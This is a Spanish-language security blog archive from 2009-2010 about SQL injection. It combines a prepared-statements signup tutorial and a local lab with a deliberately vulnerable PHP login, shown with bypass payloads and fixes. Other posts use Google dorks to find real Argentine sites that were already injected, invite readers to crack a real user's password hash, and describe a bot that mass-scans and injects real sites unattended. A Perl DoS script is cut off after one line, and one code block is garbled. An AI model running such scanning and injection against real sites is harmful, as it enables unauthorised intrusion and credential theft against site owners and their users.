Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas
Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas

lunes, 23 de agosto de 2010

Prepared Statements PHP y MySQL- Alta usuario

Anduve probando unas cosas en PHP, en estos dias que estaba mas libre con la facultad, y me decidi crear un alta de usuario, donde haya una seguridad relativamente alta.
Primero que nada use lo que se llama como Prepared Statements, que nos permite realizar una consulta al DBMS, pudiendo por asi decirlo, separar lo que ingresa el usuario del codigo mismo, es decir que el motor sabe que valor es ingresado por el usuario, con la ventaja pricipal en seguridad de que no pueden inyectar codigo arbitrario en la consulta conocido como SQL INJECTIO

Coloquemos un ejemplo de lo que seria una consulta con Prepared Statements, un consulta a un articulo de una noticia.

$mysqli = new mysqli('host', 'user', 'pass', 'db');
$stmt=$mysqli->prepare("SELECT * FROM NOTICIAS WHERE ID=?");
$stmt->bind_param('i', $_GET['id']);
$stmt->execute();

En la primer linea creamos el un objeto mysqli, en la segunda preparamos la consulta para enviar al motor, note que el valor que se espera se coloca con el caracter ?, tercera linea agrega la variable a la sentencia preparada, fijese que está el valor i, lo cual significa que lo que se espera será un entero. Tambien podemos usar s (string), d (double), b (binary data) dependiendo lo que se necesita.
En la cuarta linea ejecutamos el Statement Prepared. :)
En la sección de Prevencion de SQL INJECTION de la OWASP, lo tenemos como primer medida de seguridad. Lo bueno de esto es que el codigo no queda tan sucio, al filtrar todas las entradas del usuario con funciones como int(), settype(), is_numeric(), mysql_real_escape_string() etc.

El alta creado tiene las siguientes caracteristicas: La contraseña se encripta 3 veces en md5 (lo cual se puede cambiar desde el codigo), debe ser mayor a 7 caracteres, y debe contener al menos una mayuscula y un numero.
Este es el codigo con el formulario en HTML y el PHP.


<html>

Alta Usuario

<form action='' method='post'>
<br>
Nombre:
<br>
<input type='text' name='nombre'>
<br>
Email
<br>
<input type='text' name='email'>
<br>
Usuario:
<br>
<input type='text' name='user'>
<br>
Contraseña:
<br>
<input type='password' name='pass'>
<br>
<input type='submit' value='Enviar' name='enviar'>
</form>

function pass_cript($pass){
for($i=0;$i <3;$i++){ pass="md5($pass);" stmt=" $mysqli">prepare("SELECT usuario FROM usuarios WHERE usuario=?");
$stmt->bind_param('s', $usuario);
$stmt->execute();
$stmt->bind_result($result);
#tercer if
if($stmt->fetch()== false)
{
verificar_pass();
}
else {
echo "El usuario ya existe";
}
}

function alta(){

global $mysqli;
global $usuario;
global $password;
global $email;
global $nombre;
$password=pass_cript($password);
$stmt=$mysqli->prepare("INSERT INTO usuarios (usuario, password, Email, Nombre) VALUES (?, ?, ?, ?)");
// Bind your variables to replace the ?s
$stmt->bind_param('ssss', $usuario, $password, $email, $nombre);
// Execute query
$stmt->execute();
printf("%d Fila Insertada.\n", $stmt->affected_rows);
// Close statement object
$stmt->close();
echo "El usuario ".$usuario." ha sido dado de alta!!";
}

function verificar_pass(){
global $password;

if(strlen($password) > 7 )
{
if (preg_match('/[A-Z]+[0-9]+/', $password) || preg_match('/[0-9]+[A-Z]+/', $password))
{
alta();
}
else
{
echo "El password debe estar constituido por al menos una mayuscula y al menos un digito";
exit;
}
}
else
{
echo "El password debe ser mayor a 7 caracteres";

}
}




#Prepared Statements
$mysqli = new mysqli('host', 'user', 'pass', 'db');
if (mysqli_connect_errno())
{
printf("Can't connect to MySQL Server. Errorcode: %s\n", mysqli_connect_error());
exit;
}
#Primer if
if(!empty($_POST['enviar']))
{
#segundo if
if (isset($_POST['nombre']) && !empty($_POST['nombre']) && isset($_POST['email']) && !empty($_POST['email']) && isset($_POST['user']) && !empty($_POST['user']) && isset($_POST['pass']) && !empty($_POST['pass']))
{

$nombre=$_POST['nombre'];
$usuario=$_POST['user'];
$password=$_POST['pass'];
$email=$_POST['email'];
verificar_usuario();

}#cierre segundo if
else
{
echo "Debe rellenar los camposs gracias";
}
}#cierro primer if

?>


Voy a explicar lo que hace el codigo, osea su secuencia para que se entienda y luego los que quieren usarlo lo usen para sus
altas XD o para probar.
En la linea 105 es donde verifico que todos los datos del formulario esten definidos y que no esten en blanco, en caso afirmativo
tomo esos valores y voy a la función verificar_usuario().
Esta función lo que hace es verificar si el usuario que se quiere dar de alta existe en la base de datos,
en caso de que llegara a existir imprimira una leyenda con "El usuario ya existe", y se terminaria el proceso. En caso negativo se
se dirige a la función verificar_pass().
Esta función realiza el testeo de seguridad del password donde debe cumplir que: debe ser mayor a 7 caracteres y
debe contener al menos una mayuscula y un numero en el.
Cumpliendo estas restricciones en el password se dirige a la función alta(), que en la linea 57,
el valor de $password es pasado a a la función pass_cript(), para encriptarlo en una cantidad de 3 veces en MD5, luego basicamente
se realiza el INSERT INTO correspondiente al alta :).

Aca les dejo algunos enlaces para que sigan leyendo sobre Prepared Statemen

http://mattbango.com/notebook/web-development/prepared-statements-in-php-and-mysqli/
http://www.ultramegatech.com/blog/2009/07/using-mysql-prepared-statements-in-php/
http://www.hiteshagrawal.com/mysql/mysql-prepared-statement-in-php



Saludos

miércoles, 18 de agosto de 2010

JOINEA 2010


Bueno despues de mas de un mes sin postear, por motivos de la facultad y otras cosas vuelvo.

Este fin de semana se viene la JOINEA - Jornade de Integración, Extensión y Actualización de Estudiantes de Sistemas - el cual se realiza en Apostoles Misiones organizado por los chicos de la UNaM.
Hubo un llamado de papers, envie uno y quedo seleccionado, sobre Segridad Web: SQL injection y Directory Transversal, pero por motivos de tiempo en la expocicion lo reduje solamente a SQL Injection ya que se haria interminable.
Hay buen nivel de las expociciones, asi que seguro voy a ir a aprender mucho y conocer gente nueva el cual son los objetivos principales. Aqui les dejo el cronograma del evento.
Mañana a las 12 salimos de la Costanera, ya que el centro de estudiantes de la FA.CE.NA organizo el viaje para cualquiera a un costo accesible que incluye viaje, hospedaje y comida, en donde se lleno un colectivo con capacidad para 45 personas.
Aqui les dejo mi presentacion,




Saludos

domingo, 18 de abril de 2010

SQL injection Parte I


Sin lugar a dudas esta tecnica es una de las mas peligrosas que hay en una aplicacion, ya sea WEB o de Escritorio, por la potencia que tiene y la capacidad de poder ingresar a un sistema de una forma eficaz. Por practica puedo decir que es vulnerabilidad que mas me gusta testear, ya que tiene muchas posibilidades de ataque. Decidi crear post sobre este tema dividas en partes, esta sera la primer entrega :).
Vamos a ver desde el pricipio y para que lo practiquen en forma local, asi que nesesitaremos un paquete llamado LAMPP para trabajar en entornos Linux ( tambien lo pueden hacer desde W$ ), que nos trae empaquetado APACHE, PHP, MYSQL y FTP.


¿Que es SQL Injection?
Es la Tecnica que permite introducir comandos SQL arbitrarios en una consulta que esta establecida en la aplicacion, la cual las variables que piden al usuario no pasan por algun filtro, pudiendo este introducir comandos SQL que luego seran interpretados por el DBMS.
Dependiendo el motor se inyecta de una forma u otra, este tutorial va a estar basado en MySQL con PHP.


Requisitos:
  1. Descargar Lammpp Ultima Version
  2. Conocimientos en PHP y MySQL
  3. Conocimientos de phpMyAdmin

Comenzando

1)Instalando lampp

Como dije anteriormente,
el tutorial enseñara hasta como instalar el lampp, de forma básica podría encontrar mas datos sobre el, en su pagina principal.
Cuando tengamos el archivo de lampp que en este caso seria este xampp-linux-1.7.3a.tar.gz, para instalarlo tiene una forma super fácil, nos logueamos como r00t y colocamos en la consola

#tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

Esto creara una carpeta llamada lampp, en el directorio /opt. Por lo tanto todos los archivos, binarios, conflagraciones, bases de datos, etc estarán en el /opt/lampp.
Podemos ir posicionandonos en ella e ir familiarizandonos,

#cd /opt/lampp; ls -la

La conflagración del Lampp por ahora la vamos a dejar como default, para poder hacer inyecciones copadas sobre MySQL. Lo que si vamos a cambiar es el DocumentRoot
de apache, que es la raíz lógica de donde apache empieza a leer los documentos, para ellos tenemos que editar el archivo httpd.conf de Apache


#cd /opt/lampp/etc
Realizamos un backups antes de realizar cambios en archivos de configuraciones de cualquier tipo.
#cp httpd.conf httpd.conf.backup
#nano httpd.conf

Yo uso nano uds podrian usar VI o el que quisieran, buscamos la linea donde dice

DocumentRoot "/opt/lampp/htdocs"

Y cambiamos a una carpeta en nuestro home, osea en mi caso

DocumentRoot "/home/magnobalt/www"

Una vez hecho esto guardamos, abrimos otra shell, como usuario comun y creamos la carpeta www en nuestro home

$mkdir /home/magnobalt/www

Listo con esto tenemos configurado para que apache venga a leer a esta carpeta y busque los archivos para ejecutar en el servidor. Aquí es donde vamos a colocar nuestro archivos html, js, php, css, etc.
Para alzar los servicios de lampp hacemos lo siguiente como r00t.

#/opt/lampp/lampp start
Starting XAMPP for Linux 1.7.2...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting FTP ..
XAMPP for Linux started.

Con esa informacion significa que todos los servicios estan corriendo sin problemas, en caso de que haya problema les avisara con una leyenda, pero si no tocaron nada todo correra perfectamente.
Para poder empezar podemos ir a nuestro navegador y escribir http://localhost o http://127.0.0.1, lo cual es la ip de loopback, osea que ingresamos a nuestra propia maquina,
como nos tenemos ningun archivo index,html, index.php etc, todavia en nuestro DocumentRoot en mi caso /home/magnobalt/www, seguramente mostrara seguramente un error 403 Fordiben.
Para poder ingresar al PhpMyAdmin colocamos en el browser http://localhost/phpmyadmin, se daran cuenta que entra directamente, eso es por que al instalar lampp, la contraseña del usuario root en mysql esta en blanco, Obivamente esto no deberia quedar asi, se tendria que colocar una, pero aqui obviaremos.



Primer SQL Injection:

Lo que primero vamos a realizar es un bypass a un login, esta inyeccion es la mas facil de entender, ¿Bypass WTF!!?. El termino Bypass significa saltarse algun tipo
de seguridad, por ejemplo, si un programador me coloca en una funcion que una variable no acepte numeros enteros, y yo de alguna forma logro que la aplicacion
tome numeros enteros, estoy bypaseando (saltando) la seguridad del programador. :)

Lo que haremos es crear un Panel de Administrador, donde pedira usuario y contraseña, pero antes que nada para esto nesesitamos crear una Base de Datos, y una tabla
llamada Usuarios. Para ellos usaremos el PhpMyadmin.




En la imagen se puede observar como estamos creando una tabla llamada usuarios con los compos, id, usuario, password, nombre y correo. EL campo id es nuestra clave y es incremental.


En SQL seria de esta forma:

    CREATE TABLE `hacking`.`usuarios` (
`id` INT( 2 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`usuario` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 20 ) NOT NULL ,
`nombre` VARCHAR( 35 ) NOT NULL ,
`correo` VARCHAR( 50 ) NOT NULL
) ENGINE = MYISAM ;


Ahora que tenemos la tabla, vamos a crear los archivos php, como el panel siempre esta en una carpeta
llamada, admin, administrador, administrator etc. Vamos a crear una carpeta llamada admin en nuestro DocumentRoot que va hacer donde vamos a guardar los archivos del Login, lo cual quedaria /home/magnobalt/www/admin

Los archivos que vamos a nesesitar van hacer index.php, login.php y estilo.css


index.php




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Hacking Nea</title>

<link rel="STYLESHEET" type="text/css" href="../estilo.css">



<body>

<div id="contenedor">

<div id="encabezado">





</div>

<!--fin de encabezado-->



<div id="menu">





</div>



<div id="areatexto">



<div id="cuadrodialogo">

<h1><b>Sistema de Logueo ZamBonet</b></h1>

<form action="login.php" method="post">



<br>Nombre:

<br>

<input type="text" name="nombre" maxlength="8">

<br>

<br>

Contrasena:

<br>

<input type="password" name="pass" maxlength="80">

<br>

<input type="submit" value="Enviar">



</form>



</div>





</div>

<!--fin areatexto-->











<div id="pie">

<!--fin pie-->

</div>

<!--fin contenedor-->





</body>

</html>


Este archivo es el formulario que pedira al usuario que ingrese el usuario y el password, el cual los datos ingresados son procesados por un archivo llamado login.php.

login.php

<?php

$hostname = "localhost";

$database = "hacking";

$username = "root";

$password = "";

$conexion = mysql_connect($hostname, $username, $password) or die ('Error conexion'.mysql_error());



$usuario=$_POST['nombre'];

$password=$_POST['pass'];



mysql_select_db($database,$conexion);

$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

echo "Esta es la Consulta: ".$sql;

echo "<br>";echo "<br>";



$login=mysql_query($sql,$conexion) or die ('Error en la consulta'. mysql_error());



$row=mysql_fetch_array($login);

if(isset($row) && !empty($row)){ //verifico que la variable $row tenga informacion

echo "<br>";

echo "<h1><b>ACCESO PERMITIDO<b></h1>";

echo "<br>";

echo "Estos son tus datos";

echo "<br>";echo "<br>";

echo "Usuario: ".$row['usuario'];

echo "<br>";

echo "Password: ".$row['password'];

echo "<br>";

echo "Email: ".$row['correo'];

}

else

{

echo "<h1><b>ERRORRRRRR PAYASO <b></h1>";

}



?>




Las primeras lineas es la conexion de la base de datos, la base de datos que contiene la tabla Usuarios, que creamos anteriormente esta en una llamada Hacking, uds quizas la llamaron de otra forma, el usuario que esta realizando las consultas es r00t (super usuario de MySQL) , lo cual es un grave error esto nunca deberia suceder se tendria que crear un usuario con privilegios que la aplicacion nesesitara, r00t corre con todos los privilegios y solo se tendria que utilizar para tareas administrativas. En la practica es raro encontrar este caso pero se encunetran, mas en los lugares donde tienen un servidor dedicado para ellos, y lo montan sin conocimientos y dejan a los servicios por default.
Nosotros vamos a correr nuestra web con r00t para que se vea lo peligroso que es y la potencia de SQL injection con estos privilegios.
Tambien se nesesita un arhicovo .css llamado estilo.css lo puden copiar desde aca, y lo guardan en la carpeta www en mi caso /home/magnobalt/www, este archivo es la maquetacion del sitio
.

Ahh me olvidaba antes de empezar con el siguiente paso que es la practica, carguen algun registro en la tabla usuario, yo coloque como usuario admin y contraseña 123456, y otro magno y contraseña qwerty carguen lo que se le ocurra.


Por fin Accion
Si todo va correctamente uds al dirigirse a http://localhost/admin, le mostrara esta pantalla.



Es el formulario donde pide el usuario y contraseña para ingresar a un area restringida, si el usuario es ingresado incorrectamente mostrara esta pantalla.




saldra la leyenda de "ERORRRRRR PAYASO" y mas arriba que esta lo interesante, es la consulta que es pasada al DBMS que en este caso es el MySQL, con esta leyenda vamos a ir observando lo que va pasando al inyectar codigo.

Si el usuario es correcto saldra esta pantalla





Como veran la sentencia SQL se sigue mostrando arriba, lo unico que hace es que si tenemos acceso sale la Leyenda "ACCESO PERMITIDO" y nos muestra los datos del Usuario.

¿Donde esta el Bug?

El error de en el codigo se encuentra en que no se filtra las variables pasadas por el formulario y se pasan automaticamente a la consulta SQL.

$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Estas son las lineas del problema, como veran lo que nos pasa por el formulario, el usuario y password
lo llevamos a la variable $usuario y $password, luego automaticamente sin colocar alguna seguridad
lo volcamos a la consulta SQL
Si yo colocaria como nombre admin y password 123456, la consulta arrojara un TRUE y traeria datos de
la base de datos ya que para el usuario admin el password es 123456. Se veria asi


SELECT * FROM usuarios WHERE usuario='admin' AND password='123456'

Los string en MySQL son delimitados por ' (comilla simple), osea que todo lo que esta encerrados entre dos ' MySQL lo toma como string. Para poder inyectar en este caso, nosotros tendriamos que escaparnos de la comilla, simple y luego ahi colocar sentencias SQL. Para entender mejor veamos el ejemplo.
Que pasaria si en vez de colocar un nombre por ejemplo magno yo pondria una comilla simple, la consulta quedaria de este modo ( Esto se puede ir probando en su labs y cada vez que ingresen se mostrara la sentencia SQL que se esta mandando al MySQL )


SELECT * FROM usuarios WHERE usuario=''' AND password=''


Se puede ver que en el campo usuario, hay 3 comillas, las dos de afueras son las que el programador coloco para delimitar lo que ingresa el usuario como string, y la del medio es nuestra comilla simple que acabamos de enviar, lo cual arroja el siguiente error

Error en la consultaYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1


MySQL se esta quejando diciendo que hay un error de sintaxis mas precisamente hay una comilla simple sin cerrar. Esto significa que esa comilla simple esta siendo interpretada como codigo SQL para el DBMS, ahi esta lo interesante.

Ataque 1
Podemos lograr sin saber el password ni el usuario de alguien ingresar como el primer registro de nuestra tabla Usuarios. ¿Como? coloquemos como usuario, 'or 1=1-- , (Coloquen un espacio despues del --)
la consul
ta quedara de este modo

SELECT * FROM usuarios WHERE usuario=''or 1=1-- ' AND password=''

sin saber ni el usuario ni la contraseña entramos como admin.. ;)




Estudiemos un poco lo que hicimos, al ingresar 'or 1=1-- . La comilla ingresada por nosotros cumple la funcion de cerrar la primer comilla del programador es decir quedaria asi '', con eso ya podemos colocar sentencias SQL ya que no estamos dentro de la comillas simples, entonces viene esto or 1=1, la sentencia or significa que si algo es verdadero entonces todo es verdadero, y como 1=1 es verdadero entonces toda nuestra consulta sera verdadera por mas que no hallamos dicho el usuario es igual a '' (osea nada). Or se comporta de esta forma

1- V or V = Verdadero
2- V or F = Verdadero
3- F or V = Verdadero *
4- F or F = Falso

En nuestro caso se comportaria como la linea numero 3, osea Falso or Verdadero. Luego viene lo que es
-- ' AND password=''
, -- en sql es comentario por lo que entonces todo lo que viene despues de ahi se lo toma como comentario, esto nos permite decirle al DBMS que lo que sigue, osea
' AND password='', lo tome como un comentario. Matamos la ' simple que sobraba puesto por el programador y la parte donde pide que el password se = a lo que ingresa el usuario :)


Ataque 2

En el ataque anterior podiamos ingresar sin saber el usuario ni el password, pero caemos solamente en el primer registro de la tabla en cuestion (Usuarios).
Podemos dirigirnos a un registro conociendo el usuario y sin saber la contraeña, para ello casi siempre los administrador colocan
admin, administrador etc, como nombres de usuarios, yo en mi tabla tengo un usuario admin. Entonces inyectamos y entramos como el usuario sin saber su contraseña. En usuario colocamos admin'-- , quedando la consulta SQL

SELECT * FROM usuarios WHERE usuario='admin'-- ' AND password=''

ingresamos como admin sin saber el password :)




y como magno :)



estudiemos un poco lo que hicimos, ingresamos admin'-- la palabra admin es tomada como string ya que va a estar delimitada por la primer comilla del programador mas la comilla que ingresamos siguiendo a ella admin'. Quedando de este modo 'admin', luego el -- realiza la misma funcion que anteriormente dejando en comentario la comilla que sobra mas la sentencia donde pide el password.



La solucion

Cuando empazamos este ejemplo dijimos que la forma de poder inyectar era poder escapar de la limitaciones de la comilla simple, osea que si nosotros podemos llegar a lograr que si el usuario cuando coloque una comilla simple lo trasforme a otra cosa, el usuario ingrese lo que ingrese siempre quedara dentro de las comillas simples que el programador coloco.
Para ello tenemos formas de filtrar comillas, tenemos del lado del servidor y del lado de la aplicacion


Lado del Servidor

Una funcion muy popular es la Magic_quotes, que se encuentra en el archivo php.ini (en nuestro caso con lampp esta en /opt/lampp/etc ). Lo que realiza esta funcion es colocar automaticamente slashes, a las variables que se pasan por $_POST y $_GET. Para que sirve esto es practicamente para poder impedir las SQL injection aunque desde las versiones de PHP 5.3.0, vienen desactivadas mas info.
Para poder activar esta funcionalidad tendremos que editar el archivo php.ini, para ello nos dirigimos a la carpeta de configuracion de lampp


#cd /opt/lampp/etc
#cp php.ini php.ini.backups
#nano php.ini

y buscamos esta linea

magic_quotes_gpc = Off

Y lo ponemos en On

magic_quotes_gpc = On

Luego reiniciamos apache para que tome los cambios

#/opt/lampp/lampp restart

Ahora si quisieramos inyectar las comillas simples ' nos trasformara a esto \',
Osea que si yo ingreso nuevamente para bypasear dicho login la consulta se vera asi.

SELECT * FROM usuarios WHERE usuario='\'or 1=1-- ' AND password=''

Por lo que siempre vamos a quedarnos encerrados entres las comillas simples del programador, por lo cual ingresemos lo que ingresemos siempre nuestro datos seran tomados como un string comun :).


Lado de la Aplicación

Del lado de la aplicacion tambien existen funciones que nos permiten agregar slashes, y recomiendan usar esta funcion antes que las magic_quotes.
Addslashes, es una funcion de php que nos permite actuar de forma similar a las magic_quotes, escapando
',",\ y NULL.
Para que nuestro codigo sea capas de poder filtrar esas comillas agregaremos esta funcion a la variable que llegan desde el usuario y son pasadas para el DBMS. El codigo seguro quedaria de este modo



$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$usuario= addslashes($usuario);
$password= addslashes($password);
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Con esto logramos filtrar las comillas logrando la misma funcionalidad de magic_quotes. Recomiendo leer sobre la funcion mysql_ real_ escape_ string.
Aqui no esta pero el password se deberia guardar en Base de Datos en forma encriptada usando alguna funcion de hash como ser MD5, SHA1 etc, o algun otro algoritmo. Tambien se puede crear una funcion que al password pase 6 o N veces por la funcion HASH asi que si alguien puede verlo no pueda ser roto de forma facil con fuerza bruta o diccionario.
Por ejemplo el md5 para 123456 es e10adc3949ba59abbe56e057f20f883e, si alguien puede obetener este hash, podria pasarlo por algun diccionario que existen en la web. Una buena tools para esto es la que codeo Daniel ver aqui. Ese hash podemos ver que es facil de romper con diccionario.




El mismo password del usuario 123456, pasado 6 veces por la funcion md5 seria 74e59720dd08b1db45f7152d082c5051 , y pasada por el bruteador




Observamos dos cosas, que hay una baja taza de deteccion, y que el diccionario alimamed.pp.ru, nos mato nuestra seguridad jaja xD...







Proximas Entregas

La proxima entrega se realizara los ataques a las variables de tipo $_GET, y veran que si el dato es un entero no se nesesita la comilla simple, dependiendo de la programacion!. Se vera como detectar que la aplicacion es vulnerable y como explotar con la clausula UNION y luego como solucionar.
Y la ultima entrega se veran las SQL injection mas avanzadas que son las que permiten comprometer al HOST.
Tambien podria hacer una cuarta entrega para hablar sobre BLIND SQL, y un DOS a travez de SQL injection.

martes, 13 de abril de 2010

Sql Injection Cache Google



Todos sabemos que Mr. Google es una herramienta fabulosa, y que todos los dias lo usamos para realizar busquedas de cualquier tipo. En este caso la busqueda es algo rebuscada, por asi decirlo, la cuestion es que colocando una dork, con un cadena de texto con sentencias SQL podemos obetener SQLi ya provocadas por otras personas.
La cuestion es que si lo que hace Google esta bien, ¿por que no ponen una restrincion a bug como ser SQL, XSS, RFI, LFI etc.. etc...?
Pero Google no se puede hacer cargo de lo que pasa a cada web del mundo, los que se deberian hacerse cargo son los Webmaster de sus propias paginas, para mas hay mucha informacion en la web de como sanear una consulta SQL para no caer en un SQL INJECTION.

Busqueda
La busqueda se realiza con ayuda de Hacking Google de una forma sensilla:

inurl:UNION SELECT 1,2 site:com.ar


Con esta busqueda lo que hacemos es decir a Google que nos de la web que tengan la cadena
"UNION SELECT 1,2" en su URL pero que tambien nos filtre los sitios argentinos "com.ar" :).

Obetenmos algo como esto.






Bueno creo que a todos nos va a llamar la atención de la Web de Jesica.. creo que ya se quien pudo haber hecho la Inyecion.

Vamos al enlace, y vemos que tenemos el usuario y el password cifrado) y por lo visto algo fuertes, probé algunos diccionarios y nada, el que pueda crackearlo que ponga en comentarios si quiere ;).



Ahora también se puede ver otra cosa. Hay una seccion que es PREMIUM ;)...
En fin eso los dejo para que el que quiere investigar, tampoco se puede regalar las cosas tan fáciles no, para eso ya está Google con su indexación ja..


Saludos!







Enlace

domingo, 18 de octubre de 2009

Bot MySQL Search Google 2.0

Aunque ya lo había terminado hace un tiempito voy a publicarlo recién por falta de tiempo. Hay algunas mejoras que coloque una de ellas es el filtrado de paginas que son posiblmente inyectables. Es decir que por ejemplo en una busqueda del tipo inurl:*.php?id=, con una cantidad de 10 paginas (o mas o menos es solo un ejemplo), seguramente en la misma búsqueda se van a repetir las mismas paginas por lo cual el BOT en la V. 1.0 no contemplaba esto y redundaba.
Otra característica muy importante es que ahora ya no necesita tanta coparticipación humana, solamente le pasamos los parámetros nesesarios, y empezara la automatizacion que contempla la búsqueda, la obtención de las posibles victimas, y el ataque por SQLi, (osea que podemos dejarlo en la noche y ver los resultados en el otro día) :). En este ataque intentara lo mismo que la versión anterior

1. Sacar columnas mediante la clausula UNION
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Después por ultimo todo lo recolectado lo guardara en un archivo que nosotros le diremos el nombre para que lo guarde en el misma ru
ta de donde es ejecutado el script, asi lov eremos despues con mayor tranquilidad.

Ejmplo de uso.

+++++++++++++++++++++++++++++++++++++
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inrul:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 15
[?]Nombre de archivo donde guardar todo: >>paginas_argentinas.txt

[+]Search:


Fijense los parametros que le paso. En primer lugar esta la busqueda inrul:noticias.php?id= site:com.ar
, en segundo lugar esta la cantidad 15, y como tercer y ultimo esta el archivo de salida donde se almacenara todo paginas_argentinas.txt.

Despues solo resta ver el archivo donde mostrata una lista con las que no pudo y las que pudo inyectar SQL, en donde en esta ultimas mostrara el detalle.

Aca esta el codigo s0urce

Tengo pensado seguir agregandole mas funciones y mas tipos de inyecciones. Ya tengo preparado para que la busqueda sea atravez del BING. Asi que esa seria una mejoria para la proxima. Si alguien tiene alguna idea o algun arreglo o parte de codigo con mucho gusto sera recibido..

Saludos..

domingo, 20 de septiembre de 2009

Bot MySQL Search Google 1.0 && 2.0

Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.

1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar

Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros

+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++

[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10

[+]Search:


Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto

[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23

[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>

Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.

Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:


[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--

Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto

[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--

[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>


Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria

[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *

Bueno en La proxima colocare la version 2.0


Aca esta el codigo http://paste2.org/p/433646

Saludos

lunes, 7 de septiembre de 2009

DoS por SQLi

Resulta que apartir de una inyeccion en SQL , se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un DoS al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.
Lo que hacemos es atacar de forma parecida al que se realiza en Time-Based Blind SQL. Pero en este caso forzamos al motor a realizar un delay constantemente.
Aqui esta el script hecho en perl

  1. · #!/usr/bin/perl
